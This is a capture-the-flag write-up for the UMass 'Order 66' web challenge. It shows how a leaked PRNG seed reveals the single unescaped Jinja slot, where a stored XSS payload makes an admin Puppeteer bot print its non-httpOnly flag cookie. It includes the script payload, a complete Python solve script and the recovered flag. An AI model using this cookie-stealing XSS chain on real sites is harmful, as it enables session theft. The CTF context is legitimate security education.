$ cat writeup.md…
$ cat writeup.md…
umasscybersec
Task: a Flask grid stores one user-controlled value per session in Redis, but only one order slot is rendered unsafely and its index is derived from a leaked PRNG seed. Solution: recover the unsafe slot from the shared seed, store JavaScript there, then send the admin bot to the shared URL so console.log(document.cookie) returns the non-httpOnly flag cookie.
This challenge is a compact stored XSS bot chain with one extra twist: execution order matters. The title is the hint. There are 66 possible order slots, but only one is rendered with Jinja's |safe, and the application leaks enough state to predict exactly which slot that is.
Once the unsafe slot is known, the rest of the attack is straightforward:
<script>console.log(document.cookie)</script> in the one unsafe box,/view/<uid>/<seed> URL,flag cookie because it is explicitly set with httpOnly: false,/admin/visit returns Puppeteer's stdout.Execute Order... wait which one was it?
The page presents a 66-cell grid where only one box may contain data at a time. A share URL is exposed for the current session, and an admin bot can be asked to visit a supplied page.
app.py assigns each visitor a user_id and a numeric seed in the session. The important helper is:
def get_grid_context(uid, seed): random.seed(seed) v_index = random.randint(1, 66) data = {i: (db.get(f"{uid}:box_{i}") or "") for i in range(1, 67)} return data, v_index
So the dangerous slot is not random per render in any strong sense. It is fully determined by the leaked seed.
The main page also leaks a share URL directly in the HTML:
value="http://{{ host }}/view/{{ user_id }}/{{ seed }}"
That is enough to recover both values needed to recompute the vulnerable index locally.
templates/index.html is where the bug lives:
{% if i == vuln_index %} {{ content | safe }} {% else %} {{ content }} {% endif %}
Only one box is unsafe. Every other box is escaped. That means blind spraying is unreliable, and the intended solve is to determine the exact unsafe slot first.
After a POST, the app preserves the current seed only if the currently vulnerable box still contains something that looks like a script payload:
is_payload_present = "<script" in current_content.lower() or "alert(" in current_content.lower() ... if not is_payload_present: session['seed'] = random.randint(1000, 9999) else: session['seed'] = current_seed
This behavior rewards placing the payload into the correct slot immediately. If the payload is stored in the vulnerable box, the seed remains stable and the share URL keeps pointing at the same unsafe index.
/admin/visit accepts a URL, rewrites its hostname to the internal Docker service, extracts the last two path components as uid and seed, recomputes the vulnerable index, and launches the Puppeteer bot.
The key feature in app.js is the cookie setup plus console forwarding:
page.on('console', msg => console.log(msg.text())); await page.setCookie({ name: 'flag', value: FLAG, domain: parsedUrl.hostname, path: '/', httpOnly: false, secure: false, sameSite: 'Lax' });
That gives the attacker exactly what they want:
document.cookie.console.log() output is printed server-side./admin/visit returns process.stdout directly in the HTTP response.The exploit chain is the combination of four issues:
{{ content | safe }}.random.Random(seed).randint(1, 66)./view/<uid>/<seed> is shown to the user.flag cookie and exposes console.log output.Individually these look small, but together they form a clean intended chain. The main trick is realizing that the title is literal: only the correct order number executes.
The first GET gives us HTML containing:
/view/<uid>/<seed>
Those values are attacker-controlled enough for our purposes because /view accepts arbitrary uid and seed, and the application itself reveals both for our own session.
Because the app uses Python's PRNG seeded with that visible integer, we can reproduce the selection exactly:
idx = random.Random(int(seed)).randint(1, 66)
Now we know which one of the 66 boxes is rendered with |safe.
The POST endpoint allows exactly one non-empty box, which fits the challenge theme perfectly. We submit:
<script>console.log(document.cookie)</script>
into box_<idx>.
Because the payload sits in the vulnerable slot, the seed remains unchanged and the shared /view/<uid>/<seed> link continues to target the same unsafe cell.
We then POST the original shared URL to /admin/visit.
The server rewrites the hostname internally, but it still visits the page corresponding to our uid and seed. The bot sets the flag cookie before navigation, so when the page loads our stored JavaScript runs in the correct origin and reads document.cookie.
Since the bot forwards console events to stdout and /admin/visit returns stdout directly, the HTTP response includes the cookie contents. The successful response contained:
flag=UMASS{m@7_t53_f0rce_b$_w!th_y8u}
There were extra unrelated log lines in the same response, but the flag cookie value was the only part that mattered.
#!/usr/bin/env python3 import random import re import requests BASE = "http://order66.web.ctf.umasscybersec.org:32768" PAYLOAD = "<script>console.log(document.cookie)</script>" def main(): s = requests.Session() r = s.get(f"{BASE}/") r.raise_for_status() match = re.search(r"/view/([0-9a-f-]+)/(\d+)", r.text) if not match: raise RuntimeError("share URL not found") uid, seed = match.groups() seed = int(seed) idx = random.Random(seed).randint(1, 66) post = s.post(f"{BASE}/", data={f"box_{idx}": PAYLOAD}) post.raise_for_status() visit = s.post( f"{BASE}/admin/visit", data={"target_url": f"http://order66.web.ctf.umasscybersec.org:32768/view/{uid}/{seed}"}, ) visit.raise_for_status() print(visit.text) if __name__ == "__main__": main()
Expected result in the response body:
flag=UMASS{m@7_t53_f0rce_b$_w!th_y8u}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md